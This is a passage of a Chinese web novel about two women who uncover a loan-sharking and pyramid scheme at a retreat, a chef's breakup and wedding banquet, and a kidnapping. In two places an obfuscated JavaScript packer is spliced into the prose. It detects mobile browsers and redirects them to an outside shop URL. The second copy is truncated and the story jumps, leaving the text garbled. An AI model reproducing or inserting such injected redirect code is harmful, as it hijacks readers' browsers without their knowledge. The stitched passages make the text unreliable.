她抬手拨了拨额前的碎发,露出光洁的额头,眼神里闪过一丝沉迷:“说真的,我也很想当有钱人家的大小姐。” 她的声音很轻,却带着不容忽视的认真,“那种被人捧着、不用为钱发愁的感觉,谁不喜欢?” 宁歌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119745|195957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起以前偷偷和妈妈在漆黑的夜晚里搬家的日子,想起讨债的人找到公司的时候,心里涌起一股难以言喻的滋味。 顾思韫看着她,心里却莫名地泛起一丝酸涩:“我真羡慕你。” 她低下头,看着脚下的石子路,声音带着几分怅然,“你家里贫穷,所以起点低,但是只要前进一步就有进一步的欢喜。可我呢?生在顾家,看似拥有一切,却从来没有选择的权利。” “别在我面前说这种猫哭耗子假慈悲的话。”宁歌的声音瞬间冷了下来,她转头瞪着顾思韫,眼神里满是讥讽,“你从小锦衣玉食,想要什么就有什么,现在却来羡慕我?顾思韫,你是不是太矫情了?” 顾思韫被她噎得脸色发白,心头的火气又冒了上来:“宁歌!你别给脸不要脸!摆着大小姐的谱,却没大小姐的命,真以为扇了邓博问一巴掌就了不起了?” 她的声音拔高,带着几分刻薄,“要不是我给你钱,你现在还在安置房里跟你妈一起躲债呢!” “我没大小姐的命?”宁歌也动了怒,她上前一步,逼近顾思韫,眼神锐利如刀,“你有大小姐的命,却没大小姐的福分!顾家都要破产了,你家里把你当什么?不过是用来联姻的物件,送来送去的,连一点尊严都没有!” “你胡说!”顾思韫气得浑身发抖,伸手就要去推宁歌,“我爸正在想办法,顾家不会倒的!你少在这里咒我!” “想办法?”宁歌冷笑一声,毫不畏惧地迎上她的目光,“能想什么办法?无非是做一些见不得人的勾当!顾思韫,你很快就要跟我一样,变成灰扑扑的女人了!” 她顿了顿,语气带着几分得意,“至少我马上要还清债务了,我妈也答应我不再乱借钱了,我的好日子可是马上要来了,可你呢?等顾家彻底垮了,你什么都没有!” 这句话彻底点燃了顾思韫的怒火,她猛地扑向宁歌,双手揪住她的头发,尖叫道:“我让你胡说!我让你咒我!” 宁歌也不甘示弱,反手抓住顾思韫的胳膊,用力一拧,两人瞬间扭打在一起。 她们滚倒在地上,衣服沾满了泥土和草屑,头发凌乱不堪,嘴里不停地互相咒骂着,积压已久的矛盾在这一刻彻底爆发。 就在这时,一辆黑色的轿车缓缓驶过小路,车灯照亮了扭打在一起的两人。 顾思韫下意识地抬头,看清了驾驶座上的人,瞬间僵住了——那竟然是她的大伯顾思远! 宁歌也停下了动作,顺着她的目光看去,眉头紧紧皱起。 顾思远显然也看到了她们,车子停了下来,他摇下车窗,脸色阴沉地看着她们,眼神里满是不耐和厌恶:“你们在这里干什么?” 顾思韫慌乱地松开手,从地上爬起来,整理了一下凌乱的衣服和头发,结结巴巴地说:“伯父……我……我们……” 她不知道该如何解释,总不能说自己是来蹲守邓博问,还跟宁歌打了起来。 宁歌也站起身,拍了拍身上的灰尘,眼神警惕地看着顾思远,她心里隐隐觉得不对劲,顾思远这个时候来山海疗愈心灵谷做什么? 顾思远没再追问,只是冷冷地说了一句:“赶紧离开这里,别在这里丢人现眼!” 说完,他便摇上车窗,车子朝着疗愈谷深处驶去,那里正是之前工作人员跑去的方向,似乎还有一个隐蔽的区域,刚才她们并没有注意到。 “你伯父怎么会在这里?”宁歌压低声音问道,眼神里满是疑惑。 顾思韫摇了摇头,心里也充满了不解和不安:“我不知道……他从来没跟我说过要来这里。” 她看着车子消失的方向,一股强烈的好奇心涌上心头,“不行,我得去看看他到底来做什么。” 宁歌犹豫了一下,去被顾思韫一把抓住,“你也跟我一起去!不去的话你的报酬也没了!” 宁歌没办法,只能小心翼翼地跟了上去,两人顺着小路往里走,穿过一片茂密的树林,眼前出现了一座隐蔽的小楼房,看起来比外面心灵谷的建筑更加肃穆。 小楼的窗户里透出微弱的灯光,周围站着几个黑衣保镖,正是刚才跟着邓博问的人,神情警惕地守在门口。 顾思韫和宁歌屏住呼吸,借助树林的掩护,绕到小楼的背后,透过窗户的缝隙往里看。 只见里面的房间里,几个保镖正围着一个中年男人,那男人被按在地上,双手被反绑着,嘴里塞着布条,眼神里满是恐惧。 邓博问站在一旁,双手背在身后,脸色冰冷,而她的大伯顾思远则坐在沙发上,手里端着一杯茶,神色平静地看着这一切,仿佛在看一件无关紧要的事情。 “邓先生,这小子不肯还钱,还想报警,怎么办?”一个保镖问道,语气里带着几分狠厉。 邓博问冷笑一声,眼神阴鸷:“不肯还钱?那就让他永远闭嘴。” 顾思韫和宁歌浑身一僵,难以置信地看着眼前的一幕。 只见一个保镖拿起一根铁棍,毫不犹豫地朝着中年男人的头部砸去,男人闷哼一声,便再也没有了动静,鲜血溅在地板上,触目惊心。 宁歌的脸色瞬间变得惨白,她捂住嘴,强忍着没有叫出声来,身体微微颤抖着。 顾思韫更是吓得浑身冰凉,手脚发软,她怎么也没想到,邓博问竟然如此残忍,而她的大伯竟然就在现场,眼睁睁地看着这一切发生! 就在这时,邓博问的声音再次响起,带着几分得意:“这山海疗愈心灵谷,倒真是是个好幌子。” 他走到顾思远身边坐下,拿起桌上的文件,“我们低价买来的那些所谓的疗愈产品,再以十倍、百倍的价格卖给那些有钱的冤大头,然后用高提成引诱工作人员发展下线,这样就可以收到源源不断的钱,再拿去放高利贷,利息翻几番,这钱来得不比你们那些做实业的更快?” 顾思远放下茶杯,点了点头,语气带着几分赞许:“还是邓先生有办法,真是年轻有为啊!” 怎么会这样?顾思韫和宁歌的心里充满了震惊和愤怒。 顾思韫怎么也没想到,这座看似清幽的疗愈谷,竟然是一个藏污纳垢的地方,而她的大伯,竟然也参与其中,干着这些违法犯罪的勾当! 就在这时,一个保镖似乎察觉到了外面的动静,朝着小楼的后面走来。 顾思韫和宁歌吓得连忙往后退,却不小心踩断了一根树枝,发出“咔嚓”一声响。 “谁在外面?”保镖大喝一声,立刻冲了出来。 顾思韫和宁歌转身就跑,可她们哪里跑得过训练有素的保镖,没跑几步,就被保镖追上,死死地按在了地上。 “把她们带进来!”邓博问的声音从房间里传来。 两人被强行拖进了房间,推到了邓博问和顾思远面前。 顾思韫抬起头,看着大伯,眼里满是失望和愤怒:“伯父!你怎么能做这种事情?” 顾思远看着她,脸上没有丝毫愧疚,反而带着几分冷漠:“我不做这种事,怎么养活顾家这一大家子人,怎么养活你?” 邓博问饶有兴致地打量着两人,嘴角勾起一抹玩味的笑:“顾先生,这两位可是你的侄女和她的朋友,现在该怎么办?” 顾思韫心里涌起一丝希望,她看着伯父,期待着他能救自己。 可顾思远的话,却像一把尖刀,狠狠刺进了她的心脏,他淡淡地看了她一眼,语气冰冷得没有一丝温度:“任凭处置。” 他顿了顿,又补充道,“反正家里也不缺她一个孩子。” 顾思韫如遭雷击,愣在原地,脸色惨白如纸。 她不敢相信自己的耳朵,伯父竟然如此狠心,为了自己的利益,竟然能眼睁睁地看着她被人处置! 泪水瞬间模糊了她的视线,心里充满了无尽的绝望和悲凉。 宁歌也愣住了,她看着顾思远冷漠的表情,又看了看顾思韫绝望的样子,心里五味杂陈。 她意识到,自己这次可能真是命数将尽,原以为自己的好日子要到了,但现在能不能活着离开这里,都是未知数。 邓博问满意地笑了笑,对着保镖吩咐道:“把她们带下去,好好看着,别让她们跑了。” 保镖应了一声,架起顾思韫和宁歌,朝着房间深处走去。 顾思韫任由保镖拖拽着,眼神空洞,泪水不停地从眼角滑落。 她曾经以为,自己是顾家的大小姐,拥有一切,可现在她才明白,血缘关系在利益面前,什么都不是。 而宁歌则神情苍白,眼神里充满了麻木和厌倦,也许干脆利落地死掉,对她来说是一种解脱。 14. 第四章(2) 深冬的雨还在持续不断地下,整个城市像是沉入寒潭深处。 细长的雨丝斜斜划过落地窗,在玻璃上洇出一片模糊的水痕。 张怀野裹着睡衣坐在露台的真皮沙发里,指尖夹着的香烟燃到了尽头,烫得他猛地缩回手。 他抬眼望向二楼客房的方向,门板紧闭,自从不久前林影搬进去住,那扇门就鲜少在他面前敞开。 楼梯上忽然传来脚步声,林影正在下楼,她穿了件米白色的针织开衫,长发松松挽在脑后,几缕碎发贴在鬓角,透着股说不清的倦意。 她没看张怀野,径直走到玄关的矮柜旁,拿起那个深褐色的颂钵,指尖捏着木槌,轻轻绕着钵口转动。 “嗡——”低沉而绵长的声响漫开,像一层薄纱裹住了客厅里凝滞的空气,也裹住了张怀野到了嘴边的问话。 不知道第多少次了,张怀野皱了皱眉,看着林影低垂的眼睫,那上面似乎蒙着一层淡淡的雾,让他看不清眼底的情绪。 从前她不是这样的,不管再忙,回来总会笑着凑到他身边,分享店里遇到的趣事,或是抱怨哪个客人太过挑剔。 可现在,她的话越来越少,眼神里总带着一种他读不懂的疏离,像是隔着一层毛玻璃,模糊了往日的亲昵。 “还在忙那个婚宴订单?”张怀野打破了沉默,声音在颂钵的余韵里显得有些干涩。 林影的动作顿了顿,木槌停在钵沿,余音渐渐消散。 她抬起头,目光落在他脸上,却没有往日的温度,只淡淡“嗯”了一声:“婚礼细节多,得保持清醒,住客房我才能休息得好点。” 张怀野心里的疑虑像水草一样疯长,真的是因为订单太忙?还是……她发现了什么? 那次和程璐薇在山海疗愈心灵谷的相遇,他总觉得有点不对劲。 虽然只是一起试了几堂课,说了几句话,但程璐薇那性格,像个随时会爆炸的核弹,可自那之后,她再也没有联系过自己。 只不过要是林影怀疑自己和程璐薇之间的关系,以她的性子,肯定会直接开口问,现在没问,估计是不知道。 随即,张怀野又觉得是自己想多了。 他张怀野,长相帅气,事业有成,经营着一个百万粉丝的情感博主账号,身边从不缺示好的人,自己苦追林影,还比她小这么多,林影能和自己在一起,应该懂得珍惜才对。 或许,她只是单纯累了,又或者,是情侣间难免的冷淡期? 这个念头一出,张怀野心里的不安顿时被自得取代。 他掏出手机,点开相机,调整了一个随意又帅气的角度,开始录制新一期vlog。 “哈喽大家好,我是怀野。今天想和大家聊聊,长跑情侣如何保持新鲜感……” 他对着镜头笑得从容,语气自信满满,“很多粉丝问我,和林影在一起五年,为什么还能这么甜蜜?其实秘诀很简单,就是给彼此足够的空间,同时保持自身的魅力……” 他一边说,一边有意无意地瞥向林影,想看看她的反应。 林影正坐在沙发的另一端,翻看手机里的婚礼流程表,对他的录制视而不见,只有在他提到“甜蜜”两个字时,嘴角似乎几不可察地撇了一下,快得让人以为是错觉。 vlog剪好发布后,不到一小时就有了上万条评论。 张怀野得意地刷着评论区,大多是粉丝的夸赞:“怀野好会啊!学到了!” “和林影姐姐的感情也太让人羡慕了吧!” “果然优秀的人,经营感情都这么有一套!” 他越看越满意,手指滑动的速度也慢了下来。 直到一条评论跳了出来,是程璐薇的账号,带着她标志性的粉色爱心头像:“怎么我上次看到林影对你翻白眼啊?是我的错觉吗?” 张怀野的笑容僵在脸上,心里咯噔一下。 还没等他反应过来,更让他心惊的是,那条评论下面,赫然出现了林影的点赞标识——那个他再熟悉不过的、带着小雏菊图案的账号,明晃晃地点了赞。 评论区瞬间炸开了锅。 “!!!林影姐姐点赞了?什么情况?” “我就说刚才看视频觉得怪怪的,林影的表情确实不太对啊……” “难道长跑情侣的甜蜜都是演的?张怀野在立人设?” “程璐薇怎么会这么说?她和张怀野、林影很熟吗?” “之前就觉得林影最近很少出现在张怀野的视频里,原来是感情出问题了?” “有没有可能是误会?也许林影只是不小心点错了?” “这个点赞太暗戳戳了,感觉是积怨已久的样子……” 粉丝的评论像潮水一样涌来,有质疑的,有好奇的,有站队的,还有人开始扒两人过往的互动细节,试图找出感情破裂的蛛丝马迹。 张怀野的手指冰凉,刷着屏幕的动作越来越快,心里的自得早已荡然无存,取而代之的是慌乱和一丝恼怒。 他猛地抬头看向林影,她依旧坐在那里,仿佛什么都没发生过,正重新拿起颂钵,木槌再次落下,“嗡——”的声响比刚才更沉,更绵长,像一根细针,轻轻刺着张怀野的神经。 “你那个点赞是什么意思啊?”张怀野纠结了许久,还是问了出来。 “什么点赞啊?”林影掏出手机,检查了一下自己的点赞内容,“哦,我手滑了。” 她的侧脸在灯光下显得格外平静,甚至带着一种近乎麻木的淡然,仿佛评论区的轩然大波,都与她无关。 张怀野看着她,忽然觉得,自己好像从来没有真正读懂过这个女人。 她的冷淡,她的颂钵,她搬到客房的决定,还有那个点赞,到底是无意之举,还是早已蓄谋已久的暗示? 窗外的雨还在下,敲打着玻璃,也敲打着他乱成一团的心。 他忽然不确定,这场他自以为掌控全局的感情,会走向何方。 / 宴会厅的水晶灯折射出暖黄的光,映在铺着象牙白桌布的长桌上。 林影站在后厨与前厅衔接的幕布后,指尖微微泛白——为了两位好友陆哲和沈清的婚礼,她熬了大半个月的通宵,把他们共有的十年经历,都融进了六道菜肴里。 冬月的风裹着湿冷的寒气,刮得酒店后厨的排气扇嗡嗡作响,玻璃窗都蒙着一层薄雾,将窗外的喜庆红灯笼晕成模糊的光斑。 后厨里蒸汽氤氲,厨师们忙得脚不沾地,锅碗瓢盆的碰撞声此起彼伏,唯独角落的,气氛凝滞得像结了冰。 林影在备菜台旁清点着菜品,和厨房同事一样穿着统一的藏青色围裙,长发松松挽在脑后,露出光洁的额头和线条柔和的侧脸。 察觉到有人走近,她抬头望去,却撞进张怀野妈妈高欢带着戾气的眼睛里。 高欢裹着一身黑色的羽绒服,烫得一丝不苟的卷发梳在脑后,眼角的皱纹此刻正因为愤怒而微微扭曲。 她没等林影开口,就一把抓住她的手腕,力道大得像铁钳,指甲几乎要嵌进林影的皮肉里。 “林影,我警告你,”高欢的声音压得很低,却带着不容置疑的威胁,唾沫星子几乎喷到林影脸上,“小野说你们马上要领证了,但是你月经不调,一年才来一次,居然不肯去医院治疗,还不想生小孩?我们张家三代单传,可千万不能在你手上断了根!你要是一年之内不给小野生个孩子,今天这对新人的好日子,我就让它彻底毁了!” 她的眼神扫过林影苍白的脸,嘴角勾起一抹恶毒的笑,“我就当着所有人的面说,你是个不能生育的不下蛋的鸡,让大家都知道,这桩婚事里藏着多大的晦气!” “我要闹得人尽皆知,让所有人都对你避之不及,让你以后都没办法接到婚宴的订单!” 林影的手腕被捏得生疼,她想挣脱,可高欢的手像焊死了一样。 店里的员工吴琪和项飞看到了,连忙放下手中的事,跑过来拉开高欢。 “阿姨,有什么事我们回去再说吧!” “对啊,别在这里打扰别人的喜事了!” “回去再说?”高欢打断她,语气愈发尖利,“我就要在这里说!你必须答应我答应要生个孩子!啊不行,一个不行,至少得三个!不然我今天就让所有人都知道你的秘密,让这对新人一辈子都膈应!” 她的声音不自觉地提高了几分,引得旁边几个厨师频频侧目。 就在这时,后厨的门被轻轻推开,两道身影逆光走了进来。 走在前面的男人穿着剪裁合体的白色西装,身形挺拔,皮肤是健康的蜜色,眉眼舒展,嘴角噙着温和的笑;紧随其后的男人则穿了同款黑色西装,个子稍矮一些,面容清秀,眼神澄澈,手里还拿着一束白玫瑰。 两人气质干净而从容,与后厨的嘈杂格格不入,正是今天的新郎,沈清和陆哲。 高欢看到他们,忽然愣住,问:“今天有两对新人结婚吗?” 沈清没在意她的问题,目光落在林影泛红的手腕和苍白的脸上,温和的语气里带着一丝关切:“刚在外面听到这边有声音,过来看看是不是出了什么事。” 他的目光转向高欢,笑容不变,却多了几分探究,“阿姨刚才说,要告诉我们谁不能生育,会带来晦气?” 高欢没想到他们会听到,本来只想吓唬一下林影,没想真的去闹事,万一报警的话警察估计真的能把自己给抓起来。 她的脸色瞬间变得有些难看,支支吾吾地说:“我……我就是跟林影随便说说,跟你没关系。” 林影站在原地,百无聊赖地揉搓着自己的手腕,对高欢的话似乎是完全不感兴趣。 这时,陆哲往前走了一步,他的声音清澈而坚定,带着一种坦荡的从容:“阿姨,您说的不能下蛋的鸡,是指我们吗?” 高欢被他问得一怔,一时语塞,眼神闪烁着不敢直视他。 沈清轻轻握住陆哲的手,两人相视一笑,眼底是无需言说的默契。 沈清转过头,看向高欢,语气依旧温和,却带着一种不容置疑的力量:“阿姨,其实您说得对,我们确实不能生孩子。” 高欢愣住了,林影也惊讶地抬起头,难以置信地看着他们。 陆哲嘴角的笑容愈发舒展,他轻轻抚摸着手里的白玫瑰,眼神坦然:“我们有天生的缺陷,因为我们都没有子宫,没办法像普通夫妻那样孕育孩子。” 他的语气平静得像在说一件再平常不过的事,没有丝毫的自卑或避讳,“可这并不妨碍我们相爱,也不妨碍我们想要共度一生的决心。” 沈清补充道:“对我们来说,婚姻的意义不是传宗接代,而是找到一个能相伴一生、彼此珍惜的人。不能生育从来不是什么晦气的事,也不是什么秘密,它只是我们生活的一部分,就像有人喜欢晴天,有人喜欢雨天一样。” 高欢的脸色由白转青,再由青转红,嘴唇动了动,却一句话也说不出来。 她原本以为搬出“不能生育”的晦气说法,就能让这对新人愤怒、让林影屈服,可没想到今天结婚的竟然是一对新郎,而且他们竟然如此坦荡地承认,还说出了这样一番话,让她的威胁变得像个笑话。 她感受到周围的厨师渐渐围上来,投来一道道异样目光,那些目光里有鄙夷,有嘲讽,让她浑身不自在,只想立刻逃离。 沈清对着高欢微微颔首,语气平淡却带着疏离:“阿姨,希望您以后不要再用这样的方式为难别人了。” 高欢站在原地,脸上一阵红一阵白,最终在厨师们的注视下,狼狈地转身离开了后厨。 等高欢走后,林影对两位新郎挥挥手:“快走吧,热闹也看完了,我这边马上就可以上菜了。” 沈清十分期待道:“你这个菜单,就连我们也要瞒着,我就看你到底能给我们什么惊喜!” 陆哲离开前,双手握拳,给林影加油:“加油哦!林影主厨!” 林影露出欣慰的笑容,很快回到自己的岗位,给自己的同事布置工作。 / 很快,菜品便被陆续端上桌。 第一道菜叫天涯若比邻,端上桌时,宾客们都静了一瞬。 这道菜林影选了十种食材,五种海鲜五种陆地,各有各的做法,却在同一盏中融成和谐的滋味。 器皿是定制的青釉盏,盏壁绘着细巧的缠枝纹,象征两人关系的流动与缠绕。 陆哲舀起一勺,鲜美的汤汁在舌尖化开,眼眶忽然一热,他转头看向沈清,对方眼里也满是动容。 第二道菜叫你中有我,我中有你,当坚果鹅肝塔上桌时,林影能看到陆哲眼里的好奇。 坚果脆片是用杏仁、核桃、榛子三种坚果研磨成粉,加入低筋面粉、蛋清与少许黄油,擀成薄如蝉翼的片状,放入烤箱烤至金棕色酥脆,轻轻一碰便会发出清脆的声响,脆片在齿间被破坏,温热的鹅肝即刻融化,又被坚果的油脂香同化——这象征着两人刚刚相处时,那些不可避免的争执与碰撞,以及彼此之间的同化和融合。 第三道叫和谐共处,是林影最用心的一道。 因为沈清的老家在内蒙古,林影选用当地的牛肉,切厚片后用黑胡椒、盐腌制半小时,煎至七分熟,肌理里还渗着粉红的汁,带着草原的粗犷与鲜嫩;陆哲是浙江人,她用陆哲老家的黄酒,加入洋葱、迷迭香、百里香熬煮两小时,制成浓稠的酱汁,淋在牛肉上。 这道菜的色彩丰富而和谐,红的肉、金的酱、绿的汁、紫的果,象征着生命与大地的和谐。 第四道叫空气,端上来时,木质的香气先弥漫开来。 林影选用了一个圆形的黑胡桃木平底碟,打磨得光滑温润,碟子底部铺着烤焦的松树枝,上面架着一块松树枝熏制的鸽子肉。 鸽子肉被一个透明的玻璃罩罩住,罩壁凝着一层细雾,像天空中的云霭。 这道菜没有复杂的调味,却带着纯粹的开阔感,正如林影对他们的祝福:愿他们的未来,彼此像空气一样总是存在相伴,无畏前行。 第五道菜叫生活一箩筐,是“冬日之爱”菜单里沙拉的进阶高级版本。 林影选用了冬季特有的食材:红叶生菜、紫甘蓝、樱桃萝卜、烤南瓜、熟栗子、干蔓越莓、山羊奶酪、烤核桃。 这份感情,就像日常的生活,看似平凡朴素,却藏着最丰富的滋味。 最后一道叫幸福,是整场宴席的收尾。 林影选用了质地细嫩的本地豆腐,用纱布过滤掉多余水分,加入少许蜂蜜、牛奶,放入冰箱冷冻四小时,制成软乎乎的冰淇淋。 豆腐冰淇淋没有复杂的装饰,装在一个朴素的白瓷小碗里,碗边撒了一点点晒干的桂花碎,浅黄的花瓣落在洁白的冰淇淋上,淡雅而温柔,也是林影对他们最真挚的祝福——愿他们每一年都能拥有这份简单而纯粹的幸福。 林影站在幕布后,看着陆哲和沈清相视而笑的模样,嘴角也露出了久违的笑容。 这半个月来的疲惫与忙碌,在这一刻都化为了满足。 她做的不是一桌菜,而是自己对感情的顿悟,也是自己对这对新人的祝福。 / 宴席散场时,雨已经停了,空气里浮着湿润的草木香。 忙了一整天,林影现在才有功夫坐下来,品尝自己耗尽心力所做出来的菜肴。 “林影,聊一下。”陆哲和沈清并肩走过来,陆哲的手里拿着一件米白色的外套,自然地递到林影面前,“穿上吧。” 林影抬眼,接过外套披在肩上,心里泛起一阵暖意。 “谢谢你们,今天还满意吗?”她笑着问,眼神落在两人相握的手上,那上面的婚戒闪着柔和的光。 “何止是满意,简直是惊艳!” 陆哲拉着她在旁边的休息区坐下,沈清顺势坐在陆哲身边,两人交换了一个眼神,陆哲才斟酌着开口:“林影,我们想问你个事——你和张怀野,打算什么时候分手?” 林影握着外套的手指微微一顿,随即恢复自然,她垂下眼,看着自己鞋尖上的微尘,语气平淡:“再过阵子吧。” 张怀野对感情的不忠,是沈清先发现的,他纠结了许久,甚至和陆哲排练了几遍如何告知林影这件事情,甚至预演了好几种林影的反应。 两人好不容易鼓起勇气给林影展示拍到的照片,照片光线昏暗,却能清晰看到张怀野搂着一个陌生女人的腰,低头在她耳边说着什么,姿态亲昵。 可当时的林影只看了一眼,便扬起眉毛,说自己早就知道了。 两人大吃一惊,说真是白焦虑了,看到林影这副毫发无损的样子,估计早已经对这段感情做好了切割的准备,于是又开始八卦她是什么知道的。 林影说:“我店里的一位熟客拍到了视频,立刻就发给我了。” 说完她还嘲笑了一下陆哲和沈清,“人家当场就发给我了,不是我阻止的话,她就要上前把张怀野打个半死了,可不像你们,需要纠结半个月。” 店里的熟客就是伍红,就连拍婚纱照那天,她故意去林影的店里找茬,就是怕林影原谅张怀野,然后稀里糊涂地走进不幸福的婚姻。 其实她在店里也收到过别人寄来的跑腿快递,是一封信,上面简短地写了不要相信枕边人五个字。 林影没有追查到底是谁寄来的,她心里有个人选,只是暂时还不打算揭露对方。 陆哲和沈清都愣住了,陆哲急忙追问:“那你为什么不早点和他分手?还一直拖着,我们都替你着急。” 林影抬起头,她的脸上没有委屈,也没有怨恨,只有一种纯粹的好奇,像个探索未知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈清也笑着说:“我最喜欢成人之美了,尤其是成全林影之美。能帮你摆脱不合适的人,迎接更好的未来,我们求之不得。” 林影看着他们真诚的笑脸,心里涌起一股暖流。 “谢谢你们。”她的语气里带着轻松,也带着对未来的期许,“以后,我可以更专注于自己喜欢的事了,比如研究更多好吃的,比如……重新认识自己。” 夜幕开始降临,城市的灯火次第亮起,温柔地笼罩着这片土地。 林影站在落地窗前,看着窗外的车水马龙,心里一片澄澈。 即便这段感情没有好结果,但她知道,这段不算完美的感情,只会成为她人生里的一段插曲,但不会定义她的未来。 / 林影准备去和妈妈王子英住一段时间,给妈妈打电话发短信,却没人接听回复。 等了好久,王子英才发来一个定位,还有一条语音:“小影子,妈妈和王阿姨来这边找机构退款,但是来之前忘记给车充电了,这里又没有充电桩,手机也没电了,你来接一下妈妈和王阿姨吧。” 林影问发生什么事了,那边就没有回应了。 她查了一下王子英发来的定位,发现地址在城郊的某个地方。 林影担心王子英出了什么事,连忙开车前往。 冷雨连下了好几天,把山海疗愈心灵谷笼罩在一片湿冷的雾气里。 林影开着车,雨刷器在挡风玻璃上划出单调的弧线,雨水顺着玻璃蜿蜒而下,模糊了路边枯黄的草木。 林影到达王子英发来的地址,却发现透着一股萧瑟的荒芜,大门虚掩着,锈迹斑斑的栏杆上缠绕着枯萎的藤蔓,被雨水打湿后显得愈发破败。 林影推开车门,冰冷的雨水瞬间打湿了她的风衣下摆,她拢了拢衣领,踩着泥泞的土路往里走。 “有人吗?”林影的声音在空旷的庭院里回荡,却没有任何回应。 几栋白色的小楼门窗紧闭,玻璃上蒙着厚厚的灰尘,有的窗户甚至被打碎,露出黑洞洞的内里。 院子里的草坪长满了杂草,原本精心打理的花坛只剩下枯枝败叶,雨水冲刷着地面的落叶,发出沙沙的声响,透着说不出的诡异。 林影心里的不安愈发强烈,她快步走到主楼门口,推拉门轻轻一推就开了,发出刺耳的吱呀声。 大厅里一片狼藉,办公桌上堆满了散乱的文件,电脑被推倒在地,电源线拖拽着,地上散落着破碎的玻璃杯和废弃的纸张。 空气中弥漫着潮湿的霉味和淡淡的灰尘味,显然已经很久没有人打理了。 “妈?”林影喊着,声音里带着一丝颤抖。 她沿着走廊往里走,每个房间都空无一人,桌椅被挪动得乱七八糟,有的房间还残留着匆忙离开的痕迹——挂在椅背上的外套、散落一地的生活用品。 就在她走到走廊尽头,准备去后院寻找时,突然从两侧冲出几个穿着黑色工装、面无表情的男人。 林影还没反应过来,手腕就被狠狠抓住,粗糙的手掌勒得她生疼。“你们干什么?放开我!” 她挣扎着,风衣的袖口被扯得变形,头发也散乱开来,脸上满是惊惶与愤怒。 为首的男人没吭声,只是用力推着她往前走。 林影试图反抗,却被对方死死按住肩膀,力道大得几乎要捏碎她的骨头。 她看着这些人冷漠的眼神,心里突然涌起一股寒意,这显然不是简单的退款纠纷,妈妈那边出什么事了吗? 林影被推进一间阴暗潮湿的房间,手机也被收走,她浑身湿透,头发黏在脸颊上,狼狈不堪。 房间里没有窗户,只有一盏昏黄的灯泡挂在天花板上,勉强照亮了不大的空间。 地上铺着破旧的地毯,角落里堆着几个纸箱,而房间中央,正坐着两个女人。 听到动静,两人同时抬起头。 左边的女人穿着一件冲锋衣,长发微卷,脸色苍白,她的眼神里带着一丝惊讶,却又藏着几分茫然,正是宁歌。 右边的女人则穿着一件貂皮大衣,眼睛通红,一脸的生无可恋,林影问:“你是?” 宁歌回答:“她叫顾思韫,是顾家的女儿。” 接着又补充道:“她来找这里的老板算账,没想到对方居然搞传销、放高利贷,她大伯也参与其中,但还是把我们两个关起来了,手机也收走了。” 顾思韫打量着林影,眼神锐利:“你是谁?为什么会来这里?”又看向宁歌,“你们为什么认识?” “我来找我妈。”林影抬起头,眼底闪过一丝焦虑,“她来这里帮朋友退款,让我来接她,这里到底是什么地方?他们为什么要抓我们?” 宁歌轻描淡写道:“以前认识的熟人,最近才联系上。” 没在这个话题上继续,宁歌的指尖轻轻敲击着膝盖,陷入沉思:“这家山海疗愈心灵谷打着疗愈的幌子,实则在非法集资,还干着传销的脏活,很多学员交了高额费用后,还被要求贷款,如果要报警的话还会被殴打。” 她顿了顿,看向林影,“你妈妈的朋友,恐怕也是受害者。” 林影的心猛地一沉,妈妈向来热心,这次肯定是来帮朋友的忙,却没想到卷入了这样的事情里。 宁歌拍了拍林影的肩膀,试图安抚她:“别慌,他们不敢真的把我们怎么样的,可能只是吓唬一下我们,让我们不要往外说这个事情,现在最重要的是保持冷静,想办法联系外界,或者找到逃跑的机会。” 她的语气沉稳,眼神坚定,给了顾思韫和林影一丝安慰。 林影缓缓站起身,走到墙边,借着昏黄的灯光打量着房间。 墙壁是普通的水泥墙,没有任何窗户,门是厚重的实木门,锁得死死的。 她用手敲了敲墙壁,传来沉闷的声响,显然很坚固。“这里太封闭了,根本没有逃跑的机会。” 她的声音里带着一丝绝望,但很快又强迫自己振作起来,“我妈妈肯定也在这里,不知道她被关在哪里,我必须找到她。” 宁歌看着林影坚定的眼神,点了点头:“我们可以一起想办法。我刚才观察过,门外的守卫大概每半小时巡逻一次,每次停留的时间不超过一分钟。而且这房间的通风口在天花板上,虽然不大,但或许可以试试。” 顾思韫也渐渐冷静下来,她擦了擦眼角的泪水,看着两人:“我体型小,或许可以爬进去看看。” 林影看着眼前的两个陌生人,心里涌起一股复杂的情绪,在这样的困境中,她们原本毫无交集的人生突然交织在一起,成为了彼此唯一的依靠。 雨水还在窗外淅淅沥沥地下着,房间里的灯光依旧昏黄,但三个人的眼神里,却渐渐燃起了一丝希望的火苗。 15. 第四章(3) 北风呜呜地刮着,卷着零星的冰粒子拍打在临终病房的玻璃上,发出细碎的声响。 屋里却因暖气氤氲着融融暖意,混合着淡淡的药味与消毒水味。 医院的房门和走廊都贴满了福字和春联,年味悄悄漫进了这方寸病房。 赵荷花坐在折叠凳上,额角渗着一层细密的薄汗——刚才帮叶晓霞拉伸右腿时,她着实用了不少力气。 她绘声绘色地跟叶晓霞说着自己最近爱看的短剧,眼睛亮得很,神色兴奋极了,手里还轻轻握着叶晓霞的脚踝,动作轻柔却稳当。 “荷花啊,你慢点儿。”叶晓霞吸了口气,嘴角却扬着笑,“刚才你说的那短剧,真有那么带劲?” 赵荷花闻言,一只手轻轻拍了拍叶晓霞的膝盖,语气里满是笃定:“那可不!你是没看,那男主前期多嚣张啊,把女主的心伤透了,结果后来知道错了,哭着喊着求复合,又是下跪又是散尽家财的,那叫一个惨!” 